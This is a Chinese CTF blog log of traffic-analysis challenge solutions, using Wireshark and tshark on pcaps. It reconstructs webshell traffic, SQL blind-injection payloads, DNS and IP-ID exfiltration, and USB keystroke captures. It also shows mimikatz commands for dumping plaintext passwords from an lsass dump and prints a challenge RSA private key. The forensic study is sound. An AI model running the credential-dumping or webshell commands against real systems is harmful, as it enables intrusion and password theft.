CTF_MISC流量分析做题记录

CTF_MISC流量分析做题记录

MADISUN Lv2

CTF MISC 流量分析做题记录

从零开始的CTF流量分析做题记录,工具主要是wireshark/tshark。标上难度,给各位CTFer练习流量分析提供一些方向,简单的题目步骤很简略,要看详细的wp可以自行搜索;

内含非纯流量分析,可能有流量分析的外壳但套娃套了各种方向的题目;

本来想按照不同的平台区分,但后来觉得有些不便,于是后面的更新都会带上平台或比赛名。目前简单分类中0x1A之前,中等分类中0x0E之前,困难分类中0x09之前的所有题目均可在BUUCTF中找到。后续的更新会带上平台(比赛)名称。

简单

0x01 wireshark

  • 简单,wireshark搜索password,直接可以找到

0x02 被嗅探的流量

  • 简单,wireshark搜索flag{
image-20240307170807418

0x03 http流量分析1

  • 简单,直接搜索flag就可以找到

0x04 数据包中的线索

  • 简单,搜索http,追踪一下

image-20240307214852713

  • from base64 cyberchef

image-20240307214909940

0x05 被偷走的文件

  • 简单,wireshark直接导出flag.rar
  • Wireshark:file— Export Objects — FTP-data

image-20240307215844137

  • Flag.rar是加密的,ARCHPR跑出密码5790

image-20240307215943179

  • flag

image-20240307220232663

0x06 荷兰数据泄露

这是一道宽带数据分析题

  • 题目描述:flag{宽带用户名}
  • 简单,拿到了需要通过一个工具,把conf.bin转化为conf.xml,在里面可以直接找到username

工具: jahed/tp-link-config-editor: A web interface to edit TP-Link Router Config export files (typically named config.bin). (github.com)

0x07 NTFS数据流

ntfs 数据流笔记 | 独奏の小屋 (hasegawaazusa.github.io)

  • 简单,用ntfs数据流读取工具就可以AlternateStreamView
  • 注意解压需要在windows环境下,用winrar或者7zip
  • 再把解压后的文件夹丢进工具扫描

看到一篇不错的文章:Windows ADS在渗透测试中的妙用 - FreeBuf网络安全行业门户

0x08 [9.4.1 鼠标流量分析] 鼠标流量分析

  • 简单,前提是你需要了解鼠标流量数据格式,tshark提取数据
  • 拿到数据包里面应该是这样的

image-20240311233529725

关于鼠标流量数据包info里,GET DESCRIPTOR...以及URB_INTERRUPT in 这些分别代表什么数据包,以及这些数据包里的字段代表什么含义请查看:

USB HID 流量分析详解_usbhid.data分析-CSDN博客

关于鼠标流量数据(HID Data)格式介绍,以及解密脚本的使用请查看:

CTF—CTF中我的USB键盘鼠标流量解密指南和脚本 (p001water.github.io)

这里需要提醒一下各位,这个题目抓取的HID Data是8bytes的,但你会在鼠标流量数据格式介绍中看到鼠标流量主要以4bytes为主,但是由于各种原因,你拿到的HID Data可能是4或6bytes的,需要具体问题具体分析,通常来说,里面一定有4个字节是代表鼠标数据格式的

如果自己写的话,一定要注意matplotlib的正y轴是向下延伸的。嗯,我在这个问题上浪费了1h。

  • python3 ./UsbmiceCracker.py -f ~/Desktop/atta\ \(2\).pcapng -e usb.capdata -a LEFT 就可以直接看到结果了
image-20240311235541425
  • 最后的flag就是flag{Hello}

又是学知识的一天😭,流量分析依然任重道远。

0x09 [9.4.2 键盘流量分析]键盘流量分析

USB HID 流量分析详解_usbhid.data分析-CSDN博客

  • 脚本使用

    • 这个脚本自带数据提取,先利用pca提取到out.txt

    image-20240312141039776

    • 再从out.txt 解析数据

    image-20240312141118236

  • flag:flag{helloworld!}

0x0A [NewStarCTF 2023 公开赛道]流量!鲨鱼!

  • 简单,先过滤一下http包,然后数据包长度从大到小排列一下

image-20240312170552749

  • 看到这个长度为820的数据包uri为/1.php?cmd=base64%20/.ffffllllllll11111144444GGGGGG|base64,追踪一下,看到一串数据

image-20240312170832771

  • 这段数据拷贝下来,这应该是把原本base64的数据再base64传输的,所以要经过两次base64解码,如果你不知道,可以依赖cyber的magic :smile:,或者凭借敏锐的眼力看出Zmxh(这个是flag经过base64拿到的字符串)

image-20240312171226970

  • flag为flag{Wri35h4rk_1s_u53ful_b72a609537e6}

0x0B [9.3.3 TLS流量分析]TLS流量分析

  • 简单,了解一下TLS流量分析
  • 先过滤一下http,追踪一下最大的post请求数据包

image-20240312205935477

可以看见很多字段,通过搜索发现这些是tls key.log文件的内容,于是保存为key.log

  • 编辑->首选项->Protocols->TLS->Pre-Master-Secret log filename

image-20240312210154500

在选中区域填写刚刚保存的key.log文件

  • 导入后,过滤http,发现多了几个包,可以直接搜索flag,直觉与经验告诉我,先查看/Login,果然😄

image-20240312210358856

  • flag为flag{e3364403651e775bfb9b3ffa06b69994}

0x0C 大流量分析(一)

  • 简单,flag是攻击ip,利用wireshark的统计功能即可,大多是sourceip是172开头,b类的内网ip,找统计里,次数比较多的外网ip,很容易找到183.129.152.140

0x0D 大流量分析(二)

  • 简单,flag是发送钓鱼邮件的邮箱地址,在时间最早的数据包中过滤smtp

image-20240313112441291

已经可以看到几个邮箱了,直觉和经验告诉我应该是xsser@live.cn ,嗯确实是

  • 追踪一下xsser@live.cn相关tcp流,发现这样一段消息:

image-20240313112628888

  • 一看就是钓鱼邮件啦,所以flag就是flag{xsser@live.cn}

0x0E 大流量分析(三)

  • 简单,挨个数据包找,后门一般都是.php文件,而且,一般上传了一个木马后会测试phpinfo能不能返回,利用这点写过滤http.request.full_uri contains "phpinfo()"

image-20240313114448816

  • 找到了admin.bak.php,flag为flag{admin.bak.php}

0x0F 秘密文件

  • 简单,先过滤一下ftp

image-20240313165812088

  • 看到第一个包的info,像是一段话,追踪一下,直接能看到传输的文件应该是6b0341642a8ddcbeb7eca927dae6d541.rar

image-20240313165855826

  • 遇到这种需要提取文件的问题,可以利用wireshark自带的Export Objects或者直接利用binwalk foremost这类工具提取 文件。这里第一种方法无法提取,采用binwalk。

image-20240313170459423

  • 拿到的rar是加密的,里面有个txt,对于rar来说最常见的就是暴力破解,ARCHPR直接破解得到密码1903,txt里面就是flag:flag{d72e5a671aa50fa5f400e5d10eedeaa5}

0x10 John-in-the-middle

  • 简单的套娃,流量分析的外壳,实则是个图片隐写
  • wireshark打开发现了很多png,foremost分出来,依次丢进stegsolve,logo.png直接有flag出来

0x11 [SUCTF2018] followme

  • 简单,过滤http之后,随便看看Post,就看到了flag

image-20240314153648704

0x12 [CFI-CTF 2018]webLogon capture

  • 简单,urldecode

image-20240314185839330

urldecode:CFI{1ns3cur3_l0g0n}

Flag:flag{1ns3cur3_l0g0n}

0x13 greatescape

  • 简单,看到ftp-data,先export objects->ftp-data,发现有个ssc.key,正好有很多tls数据包

image-20240314214100048

  • 把ssc.key存下来,放进设置tls协议的rsalists里面,然后直接可以看到多出来的http数据包,按照大小排序一下,优先查看更大的数据包,依次追踪一下,很容易在头里面发现一个flag:INS{OkThatWasWay2Easy}

image-20240314214242854

  • flag : flag{OkThatWasWay2Easy}

0x14 [INSHack2017]remote-multimedia-controller

  • 简单,追踪几个tcp流,追踪到eq 2,能看见可疑数据

image-20240315210800831

  • basecrack magic一把嗦:python3 basecrack.py -m然后输入这串数据

image-20240315210922193

0x15 [NewStarCTF 公开赛赛道]Whats HTTP

  • 简单,通过几个返回200的http,追踪一下流,发现

image-20240318150243796

  • 复制下来,丢给cyberchef,拿到flag:flag{4f33649d030c6778426971b54dd72ece}

image-20240318150257750

0x16 [Dest0g3 520迎新赛]StrangeTraffic

  • 简单
  • 简单了解一下:Modbus由MODICON公司于1979年开发,是一种工业现场总线协议标准。1996年施耐德公司推出基于以太网TCP/IP的Modbus协议,ModbusTCP。
  • 追踪TCP流,每四条变换一个字母

image-20240318202756804

组合一下:RGVzdDBnM3szMUE1QkVBNi1GMjBELUYxOEEtRThFQS0yOUI0RjI1NzEwOEJ9

拿去base64得到flag:Dest0g3{31A5BEA6-F20D-F18A-E8EA-29B4F257108B}

0x17 [DASCTF八月挑战赛]stealer

  • 简单的DNS流量分析,恶心在最后的flag只交里面的md5
  • 感觉DNS经常往queries的name里面写东西,先过滤一下dns,然后发现了开头为iVBORW,这是PNG头的base64,再过滤一下dns.flags==0x8180,意思是只过滤dns responses,如果是dns.flags==0x0100则是只过滤requests
  • tshark 提取一下
1
tshark -nr "stealer.pcapng" -Y 'dns.flags == 0x8180' -T fields -e "dns.qry.name"|sed 's/.ctf.com.cn$//g'|sed 's/*/+/g' >stealer.txt

手动删除开头和结尾多余的字符串,*再把变成+**(这个地方不是很好想)

  • 丢进cyberchef

image-20240319152108775

image-20240319152116786

  • flag只交md5,所以没有o和l
1
1d3f729ac02bbc15f00adccd79207ab0

0x18 [2022DASCTF Apr X FATE 防疫挑战赛]SimpleFlow

  • 简单的webshell蚁剑流量分析

  • tcp追踪流

eq 42: head -n 2 ../flag.txt 输出了flag.txt的前两行

image-20240319171814366

eq 50: 这一串解出来是下面这一串,发现了zip的密码PaSsZiPWorD

1
cd "/Users/chang/Sites/test";zip -P PaSsZiPWorD flag.zip ../flag.txt;echo [S];pwd;echo [E]

image-20240319171956472

eq 51: 发现了目录下有flag.zip,zip里面想必就是flag.txt,把flag.zip提取出来,可以使用foremost直接分离,或者继续追踪流找zip

image-20240319171832197

eq 52:成功发现PK字段,提取出来,拿到压缩包

image-20240319172147932

  • 压缩包是加密的,用我们得到的密码解密,即可得到flag:DASCTF{f3f32f434eddbc6e6b5043373af95ae8}

0x19 [NewStarCTF 2023 公开赛道]Nmap

  • 简单,第一次接触nmap流量分析,flag为开放的端口(用英文逗号隔开从小到大)
  • 需要知道nmap几种扫描方式会怎样发包,找到题目的扫描方式,再对应分析端口开放的回复包

nmap流量分析_nmap流量特征-CSDN博客 ]

  • 根据上面的网址,对应**-sS扫描模式,因为可以看见大量SYN包且目标端口有很多个,-sS模式下,回复包为SYN/ACK证明端口开放,RST包则说明端口关闭,ICMP不可达报文或者没有回复则说明端口被防火墙屏蔽了**
  • SYN,ACK的flags值为0x012,过滤一下,因为是回复包,只要注意源端口即可,发现有这几个端口,所以flag为flag{80,3306,5000,7000,8021,9000}

image-20240320214047143

0x1A [INSHack2018]GCorp - Stage 1

  • 简单,直接追踪tcp流,只有一个流,最底下有一串base64,解码得到flag

0x1B [GKCTF X DASCTF应急挑战杯]签到

  • 简单,追踪tcp,在eq5 发现cat了flag 流程是cat->base64->rev
  • 把数据导出,先from hex,再from base64,存进文件里
  • 直接命令行:cat 1.txt|rev|base64 -d,直接逆序是不行的依然会错位,rev是按行逆序

image-20240324165718061

数据出现是重复的,两个取一个就可以得到flag:flag{Welc0me_GKC4F_m1siCCCCCC!}

0x1C [NewStarCTF 2023 公开赛道]2-分析

  • 简单

前面有个1-序章,是sql盲注数据分析,python直接写正则,没有写这道题的wp

  • 只需要追踪http流就可以看到登录用户名best_admin和有漏洞的phpindex.php
  • 在get请求包里看到webshell代码:wh1t3g0d.php
  • flag为flag{md5(best_admin_index.php_wh1t3g0d.php)},即flag{4069afd7089f7363198d899385ad688b}

0x1D [SwampCTF2024] Notoriously Tricky Login Mess (Part 1)

1
2
3
题目描述:
We found out a user account has been compromised on our network. We took a packet capture of the time that we believe the remote login happened. Can you find out what the username of the compromised account is?
Flag format: swampCTF{username}
  • 第一次遇到NTLM流量,这道题还挺简单的,要注意这题是NTLMv2

NTLMv2流量简单介绍:Live off the Land and Crack the NTLMSSP Protocol :: Mike Gualtieri (mike-gualtieri.com)

NTLM流量详解(包含v1 v2):NTLM协议详解-腾讯云开发者社区-腾讯云 (tencent.com)

例子:从pcap包中解密Winrm流量 | fdvoid0’s blog (fdlucifer.github.io)

  • 这道题需要获得username,结合ntlmssp,NTLMSSP Message Type 3: Username Field,找type 3的包,可以先过滤ntlmssp,在info里就能看到两个username:\Administrator\adamkadaban

image-20240408002756395

显然Administrator应该是本地用户,所以答案就是admkadaban

  • 包内容里面也有字段

image-20240408002935721

0x1E [SwampCTF2024] New C2 Channel?

1
2
题目描述:
Sometimes you can exfiltrate data with more than just plain text. Can you figure out how the attacker smuggled out the flag on our network?
  • 题目的意思大概是数据以别的方式传递,挺新颖的这道题
  • 打开wireshark,过滤http,发现uri里藏了东西,而且是用8堆出来的字符。这里我的想法本身是用tshark提取,然后xxd转一下,找完整的字符,太难看了,真是界于好看和难看之间,好难看;于是我缩小了过滤,http.request.full_uri,然后发现下一个包的uri数据,就是上一个包的数据,往左平移一列(物理)
  • 这是第一个包

image-20240408003632687

  • 这是第二个包,往左平移了一列

image-20240408003655630

愚蠢如我,居然决定继续用tshark,每隔16个包提取,因为有16列,虽然也能基本看到所有字母,再加上半推理,能拿到大概的flag,但小问题有点多

  • 就在我愁着的时候,在wireshark里面查看各个包,我按了几下下键“⬇️”,emmmm,直接动起来了,,,,哈哈哈哈哈,有种白做了的感觉,总之,很奇妙,涨知识了。很有趣。秦家窃密搜。
  • 我也想出一道类似的题目哈哈哈哈,哪天来整整

0x1F [DASCTF X GFCTF 2024]tele

  • 题目来源:BUUCTF
  • 题目描述:这是我们抓到的一个犯醉团伙的通话流量,请找到发起者的IP地址!
  • 简单的读文档题,协议是STUN
  • stun协议解析:STUN协议解析_rfc5780-CSDN博客
  • 找到具有mapped-address字段的包,这个字段是客户端的外部地址

image-20240421133520327

  • Ctrl+F搜索Packet details mapped-address

image-20240421133706494

  • Flag就是171.88.96.93

0x20 [NSSCTF 3rd] The Least Secret

  • TCP segmentdata 主要考察tshark以及能不能看懂题目中的Least Secret

  • 打开流量包发现TCP流量包中,有类似[237:"00110110"]这样的数据,一共有392条

  • 用tshark提取出来:

1
2
3
$ tshark -nr message.pcapng -Y "tcp.len>=14" -T fields -e "tcp.segment_data"|xxd -r -p
[237:"00110110"][72:"00010110"][90:"11000001"][371:"01010110"][248:"10011010"][181:"10101111"]
...(以下省略)
  • 根据题目Least Secret,想到lsb,因此按照0-391的顺序提取最低位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import re as r
with open("nss/message.txt") as f:
lines = ''.join(f.readlines())
id = r.findall(r.compile(r"\[(\d+):"), lines)
id = [int(i) for i in id]
content = r.findall(r.compile(r"(\d)\""), lines)
dic = dict(zip(id, content))
for i in range(0,392):
print(dic[i],end="")

'''
01001110010100110101001101000011010101000100011001111011011000110011000001101110011001110111001000110100011101000111010100110001011000010111010001101001001100000110111001110011010111110101010101011111001101000111001000110011010111110111001000110011011000010011000100110001011110010101111101100001010111110100110001010011010000100101111101101101001101000011010101110100011001010111001001111101
'''

  • cyberchef-from binary得到flag
1
NSSCTF{c0ngr4tu1ati0ns_U_4r3_r3a11y_a_LSB_m45ter}

中等

0x01 [9.3.2 webshell混淆流量分析]webshell流量分析1

  • 中等,菜刀
  • 设置筛选条件http,先看看http的数据包都有些啥,然后看到了有些是/upload/1.php,应该是上传了什么东西,追踪一下http流

image-20240310155921443

可以看到里面传了一个z1 base64为RDpcd2FtcDY0XHd3d1x1cGxvYWQ=,cyberchef拿到解码后结果D:\wamp64\www\upload,所以z1应该是上传的路径的参数

  • 我们可以找找他上传了什么东西,先通过http.request.uri contains '/upload/1.php'筛选数据包,把数据包的length从大到小排列一下。length长的想必信息一定是最多的吧!

  • 果然我们在第一条里看到了不一样的东西,首先此包有个z1参数,解码后为D:\wamp64\www\upload\6666.jpg,看来上传了一个jpg,此外,还有一个新的参数z2,from hex后发现应该就是6666.jpg,里面有一行像password的,先留着Th1s_1s_p4sswd_!!!

image-20240310162626338

  • 再追踪一下这个包,发现应该是上传了6666.jpg flag.txt hello.zip这些文件,可以猜测上面拿到的password是压缩包的密码

image-20240310162851452

  • 目标转化成找flag.txt 或 hellp.zip了,回到http.request.uri contains '/upload/1.php'的筛选列表里,通过z1的值来判断上传的文件,看来这个1364的包就是传hello.zip的包了

image-20240310163311760

  • 追踪一下,发现了PK字眼,找到hello.zip了,开心😄

image-20240310163430226

well,you need passwd!也验证了我们的猜想,这个压缩包是需要密码的;并且可以看出来flag.txt应该在zip里面,接下来我们只需要把这个zip提取出来就好了。

  • Show data as选择 Raw,把最后面一段蓝色数据复制下来,在cyberchef中from hex,在输入窗口中搜索504b0304(zip 头),定位后把前面的多余数据删掉即可

image-20240310164237676

点击保存为zip

  • zip提取需要密码,输入密码Th1s_1s_p4sswd_!!!,可以看到flag.txt

image-20240310164729838

  • get the flag
1
flag{3OpWdJ-JP6FzK-koCMAK-VkfWBq-75Un2z}

webshell流量有很多种,详情描述请查看:

常见webshell流量分析 | Clementi’s Blog

0x02 [NewStarCTF 公开赛赛道]最后的流量分析

  • 中等,重点在数据处理
  • 拿到手过滤一下http,发现是sql盲注的流量

image-20240312211449095

1
if((substr((select(text)from(wfy_comments)where(id=100)),1,1)=%22q%22),100,0) 

(substr((select(text)from(wfy_comments)where(id=100)),1,1)=%22q%22):从wfy_comments表中选择id是100的列,然后使用该substr()函数提取第一个字符(从位置 1 开始、长度为 1 的子字符串),将提取的字符和q比较。

if(…,100,0):true返回100,false返回0。即?name=100或?name=0

经过观察发现,不同的数据包修改的值是,提取字符的位置(substr的中间的参数),和=后面用于比较的字符,例如这个例子里的q

  • 将数据包大小排序,经过观察,可以发现长度在768以上的返回的h2是好耶!你有这条来自f1ag_is_here条留言,长度在764以下的返回的是啊哦,这条留言不存在哦~
  • 通过data-text-lines and frame.len <= 768直接过滤出注入成功的数据包(data-text-lines是过滤有text data的包,也就是返回html的包)

image-20240312220202763

:raised_hands:这里想跟大家分享一下写wireshark过滤的小技巧,如果你和我一样懒得查看英文手册的话:joy: ,找到你想筛选的数据,右键,apply as filter,任意选择selected或not,你就能看见这个字段的过滤应该怎么写了,再根据你实际想要达到的效果修改符号为不等于或大于小于等等。

  • tshark+sed,直接在终端数据处理:
1
tshark -nr "sqli.pcap" -Y "data-text-lines and frame.len >= 768" -T fields -e "http.response_for.uri"|sed 's/^.*)),//g'|sed 's/^.*=%22//g' |sed 's/%22.*$//g'|tr -d '\n'

tshark的命令就不解释了,一开始拿到的数据是这样的:

1
http://127.0.0.1/comments.php?name=if((substr((select(text)from(wfy_comments)where(id=100)),1,1)=%22f%22),100,0)

来解释一下sed,s/和/中间的是正则表达式,执行替换功能,s/…/…/g的第一个…是正则的位置,第二个…是替换结果,//g是把符合正则的东西替换成空

  1. sed 's/^.*)),//g'后:
1
1,1)=%22f%22),100,0)
  1. sed 's/^.*=%22//g' 后:
1
f%22),100,0)
  1. sed 's/%22.*$//g'后:
1
f
  1. tr -d '\n'删除换行符
  • 最终得到flag:flag{c84bb04a-8663-4ee2-9449-349f1ee83e11} %7B%7D分别是url编码里的{}

image-20240312225854294

0x03 sqltest

  • 如题,应该知道是sql盲注的攻击流量,http过滤一下发现攻击者是在利用二分法盲注攻击

  • 根据上道题目最后的流量分析,积累的经验,找到成功的数据包长度,应该是1095,失败的长度是1027;攻击者在套flag之前,先会通过二分法注入找flag字段的长度,所以我们应该只过滤验证flag具体内容的数据包

  • 根据上述两条编写过滤规则:http.response_for.uri contains "ascii(substr(((select%20concat_ws(char(94" and data-text-lines

    这里不能和上一题一样只过滤注入成功的包(长度为1095的包),因为我们需要通过一个成功和下一个的失败来判断具体的数据(例如现在的字符的ascii码是102,我们需要通过 >101成功和>102失败来验证ascii=102)

  • tshark 提取数据:

1
tshark -nr "sqltest.pcapng" -Y 'http.response_for.uri contains "ascii(substr(((select%20concat_ws(char(94" and data-text-lines' -T fields -e "frame.len" -e "http.response_for.uri" | sed 's/http.*)),%20//g'|sed 's/,%201))>/,/g' > ~/Desktop/sqltest.txt

image-20240313230051394

把包长度,当前字符位置,>后面的数据提取出来

  • python处理数据,得出flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import re
with open('/Users/madison/Desktop/sqltest.txt') as f:
lines = f.readlines()
flag = ''
count = '1' #当前的字符顺序
result = [0,201] #result[0]用来存放低临界值,result[1]存放高临界值
for line in lines:
ret =re.findall(r'\d+',line)
if(count != ret[1]):
count = ret[1]
flag += chr(int(result[1]))
result = [0,201]
if ret[0] == '1095' and int(ret[2])>result[0]:
result[0] = int(ret[2])
elif ret[0] == '1027' and int(ret[2])<result[1]:
result[1] = int(ret[2])
flag += chr(int(result[1]))
print(flag)
#flag{47edb8300ed5f9b28fc54b0d09ecdef7}

0x04 流量分析

  • 题目hint
1
2
3
4
5
6
流量分析
提示一:若感觉在中间某个容易出错的步骤,若有需要检验是否正确时,可以比较MD5: 90c490781f9c320cd1ba671fcb112d1c
提示二:注意补齐私钥格式
-----BEGIN RSA PRIVATE KEY-----
XXXXXXX
-----END RSA PRIVATE KEY-----
  • 中等,主要是不能被FTP里面的Fl-g.zip绕进去,我显然是被绕进去了🤮。一直在试图修zip,拿到里面的qr-code.jpg,大家一定要仔细琢磨提示。
  • tcp contains “KEY” 可以找到一串base64 的image

image-20240307203003473

  • from base64 cyberchef 得到一张图

download

  • 把这些提取出来(考眼力,做到这我已经疲惫了),按照提示补齐私钥,导入wireshark

编辑->首选项->Protocols->TLS->RSA keys list Edit->添加key file->完成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDCm6vZmclJrVH1AAyGuCuSSZ8O+mIQiOUQCvN0HYbj8153JfSQ
LsJIhbRYS7+zZ1oXvPemWQDv/u/tzegt58q4ciNmcVnq1uKiygc6QOtvT7oiSTyO
vMX/q5iE2iClYUIHZEKX3BjjNDxrYvLQzPyGD1EY2DZIO6T45FNKYC2VDwIDAQAB
AoGAbtWUKUkx37lLfRq7B5sqjZVKdpBZe4tL0jg6cX5Djd3Uhk1inR9UXVNw4/y4
QGfzYqOn8+Cq7QSoBysHOeXSiPztW2cL09ktPgSlfTQyN6ELNGuiUOYnaTWYZpp/
QbRcZ/eHBulVQLlk5M6RVs9BLI9X08RAl7EcwumiRfWas6kCQQDvqC0dxl2wIjwN
czILcoWLig2c2u71Nev9DrWjWHU8eHDuzCJWvOUAHIrkexddWEK2VHd+F13GBCOQ
ZCM4prBjAkEAz+ENahsEjBE4+7H1HdIaw0+goe/45d6A2ewO/lYH6dDZTAzTW9z9
kzV8uz+Mmo5163/JtvwYQcKF39DJGGtqZQJBAKa18XR16fQ9TFL64EQwTQ+tYBzN
+04eTWQCmH3haeQ/0Cd9XyHBUveJ42Be8/jeDcIx7dGLxZKajHbEAfBFnAsCQGq1
AnbJ4Z6opJCGu+UP2c8SC8m0bhZJDelPRC8IKE28eB6SotgP61ZqaVmQ+HLJ1/wH
/5pfc3AmEyRdfyx6zwUCQCAH4SLJv/kprRz1a1gx8FR5tj4NeHEFFNEgq1gmiwmH
2STT5qZWzQFz8NRe+/otNOHBR2Xk4e8IS+ehIJ3TvyE=
-----END RSA PRIVATE KEY-----

image-20240307204942387

  • 然后就可以看到http

image-20240307204958136

  • 终于,flag

image-20240307204857654

  • 参考

这位师傅做这道题的心路历程和我差不多😭:ddctf2018 · Tianji’s Blog (fengyuhetao.github.io)

0x05 [安洵杯2019] Attack

  • 中等
  • 看到了upload,先binwalk看看里面有啥东西,能看到里面有个zip,zip里面有个flag.txt,但是zip是加密的,用foremost把zip提取出来

image-20240314184142874

  • 丢进010先看看是不是伪加密,可惜不是伪加密,同时看到flag.txt有一个注释:这可是administrator的秘密,怎么能随便给人看呢?

image-20240314184428929

  • 回到wireshark,export objects->http,看到里面有一个lsass.dmp

lsass是windows系统的一个进程,用于本地安全和登陆策略。mimikatz可以从 lsass.exe 里获取windows处于active状态账号明文密码。本题的lsass.dmp就是内存运行的镜像,也可以提取到账户密码

结合注释,应该是需要通过mimikatz提取这个dump里面的账户密码

[BUU MISC刷题记录 安洵杯 2019]Attack - 云千 - 博客园 (cnblogs.com)

Mimikatz:gentilkiwi/mimikatz: A little tool to play with Windows security (github.com)

  • mimikatz提取
1
2
3
4
5
6
//提升权限
privilege::debug
//载入dmp文件
sekurlsa::minidump lsass.dmp
//读取登陆密码
sekurlsa::logonpasswords full

image-20240314185043343

1
2
Username:Administrator
Password: W3lc0meToD0g3
  • 用password打开压缩包,打开flag.txt,最底部是flag:flag{3466b11de8894198af3636c5bd1efce2}

0x06 [BSidesSF2019]table-tennis

  • 中等,icmp数据处理
  • 发现icmp有data,里面有一些数据,能看到<html>等信息
  • 用tshark把data先提取出来:
1
tshark -nr "tabletennis.pcapng" -Y 'icmp.resp_to' -T fields -e "data.data"

发现每个包里面有很多重复数据,一个包里面大概有5份重复数据,一个icmp包data数据块一共是40bytes,里面一份数据是8bytes

  • 利用cut只提取第二个8bytes:cut -c 17,32,-c表示按照字符切割,前面有16个字符(8bytes),故从第17位开始往后提取16个到第32位;再xxd把hex转成文本
1
tshark -nr "tabletennis.pcapng" -Y 'icmp.resp_to' -T fields -e "data.data" |cut -c 17-32 | xxd -r -p

image-20240314225618844

很容易注意到script标签下的这行数据:Q1RGe0p1c3RBUzBuZ0FiMHV0UDFuZ1Awbmd9,base64解码

image-20240314225708405

  • 得到flag:flag{JustAS0ngAb0utP1ngP0ng}

0x07 [XMAN2018排位赛]AutoKey

image-20240315185830311

  • 利用工具,把记录的data转成键盘输入

image-20240315185950254

按照原始数据显示的话会把功能键打印出来<CAP><DEL>这些

其实我还找到一个在线网站,但这里不是很准确,先留存一下,以后可以试试:Vigenere Solver | guballa.de

  • python2的环境下,需要有pycipher包

image-20240315190256424

可以看见key为“FLAGHERE”时,是一串有意义的英文,加上空格

1
klen 8 :"FLAGHERE", HELLO BOYS AND GIRLS YOU ARE SO SMART THAT YOU CAN FIND THE FLAG THAT I HIDE IN THE KEYBOARD PACKAGE FLAG IS JHAWLZKEWXHNCDHSLWBAQJTUQZDXZQPF
  • flag:flag{JHAWLZKEWXHNCDHSLWBAQJTUQZDXZQPF}

0x08 [羊城杯 2020]TCP_IP

  • 中等,流量包协议不多,数据处理部分简单,但有两个点:ip数据报隐写和base91加密比较难想
  • wireshark打开,很多tcp,追踪发现是一段对话,拿tshark摘出来,发现没有什么用,,,,被耍了

image-20240315201924446

  • 接下来这个点就有点难想了,需要对TCPIP隐写有一定的了解或者要善于发现,IP协议中的identification看似是随机的,实则是出题人故意设置的(又积累经验了),想到这一点就很简单,拿tshark提取就好了

原理:【技术分享】基于TCP/IP协议栈的隐写术和隐蔽通道(part 1)-安全客 - 安全资讯平台 (anquanke.com)

1
tshark -nr "TCP_IP.pcap" -Y 'tcp' -T fields -e "ip.id"|sed 's/0x00//g'|tr -d '\n'

image-20240315202138650

  • 拿到这一串之后,xxd一下把hex解码了

image-20240315202209975

数据有一部分有重复,一定要仔细,,,否则有些工具没法识别是标准的base编码

1
@iH<,{*;oUp/im"QPl`yR*ie}NK;.D!Xu)b:J[Rj+6KKM7P

😊问题又来了,看到这一串你能否想到是base91呢,我没想到(又积累经验了),对basefamily了解不深,只会丢给cyberchef,所以我决定开始使用basecrack,看不出啥编码的先拿这工具单扫一遍:

basecrack:Xzeroxvan07/basecrack-1: Decode All Bases - Base Scheme Decoder (github.com) *

用了发现确实挺好用

  • flag:flag{wMt84iS06mCbbfuOfuVXCZ8MSsAFN1GA}

image-20240315202912219

0x09 [BSidesSF2019]thekey

  • 键盘流量,中等偏简单,归于中等的原因是有几个点需要注意
  • 用工具提取流量

我先用的knm这个脚本,但是提取出来的数据不够完整

image-20240315214012201

按照这个myfavoritte这些是没有中间的_,两边也没有{,交上去是错的

建议多个脚本试试看,所以我使用了另一个脚本:UsbKeyboardDataHacker,这个是完整的信息

WangYihang/UsbKeyboardDataHacker: USB键盘流量包取证工具 , 用于恢复用户的击键信息 (github.com)

image-20240315214200003

1
viim<SPACE>flaag.ttxt<RET>iTthe<SPACE>flaag<SPACE>is<SPACE>ctf<ESC>vbUuA{[my_favoritte_editor_is_vim}<ESC>hhhhhhhhhhhhhhhhhhhau<ESC>vi{U<ESC>:;wq<RET>

可以看到用了vim,这就要求对vim熟悉了,,,复盘一下这个键盘输入,得到,但其实那个favouritte里的U经过h回退应该在r后面,但这样是错的,我怀疑是前面有字符不属于vim里的键盘输入,比如[

image-20240315214532882

  • 解释一下vim编辑器里的按键

i启动insert模式,插入字符;<ESC>退出insert模式;v启动visual模式,可以选择文本;i{选择当前大括号对内的文本{…},在本例中为my_favoritte_editor_is_vim;U是将所选文本转换为大写的命令;b后移一个单词,光标停在上一个单词开头;h 左移一个字符

  • flag:flag{MY_FAVORITTE_EDITOR_IS_VIM}

0x0A [NewStarCTF 公开赛赛道]WebShell!

  • 中等,蚁剑流量,flag{WebShell密码_黑客获取的用户名_机密文件内容}
  • 先过滤http,Get请求里没什么东西,重点看POST请求,过滤http.request.method==POST
  • 因为是蚁剑流量,蚁剑流量的一个特征就是@ini_set(),对应的key就是webshell连接密码,这里是n3wst4r

image-20240318191022439

  • 接着按顺序依次追踪POST请求数据包,看里面的php代码,以及打印的内容,这里只挑关键的流的关键部分来讲

参数h37e8ca57159a8的值和执行的命令有关,因此只需要每次注意这个参数,就能知道这个包主要执行了什么命令

1
2
3
4
//tcp.stream eq 34
g883299482ed9b=BUL2Jpbi9zaA==&h37e8ca57159a8=hvY2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIGQwZjRhNjhhO3B3ZDtlY2hvIDI1ZTcw&n3wst4r=@ini_set("display_errors", "0");
echo "03d"."a0f8";echo @asenc($output);
$s=base64_decode(substr($_POST["h37e8ca57159a8"],2));

substr($_POST["h37e8ca57159a8"],2)从第三位字母开始截取,因此base64解码Y2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIGQwZjRhNjhhO3B3ZDtlY2hvIDI1ZTcw,得到cd "/var/www/html";whoami;echo d0f4a68a;pwd;echo 25e70;结合代码分析,在echo 03da0f8 之后会打印whoami,对应到下面的输出,拿到用户名www-data

image-20240318192650352

继续追踪流,找机密文件内容,同理,分析参数即可,在下面的参数中出现了cat /secret,很容易想到secret就是机密文件

1
2
3
g883299482ed9b=BRL2Jpbi9zaA==&h37e8ca57159a8=GlY2QgIi92YXIvd3d3L2h0bWwiO2NhdCAvc2VjcmV0O2VjaG8gZDBmNGE2OGE7cHdkO2VjaG8gMjVlNzA=&n3wst4r=@ini_set("display_errors", "0");
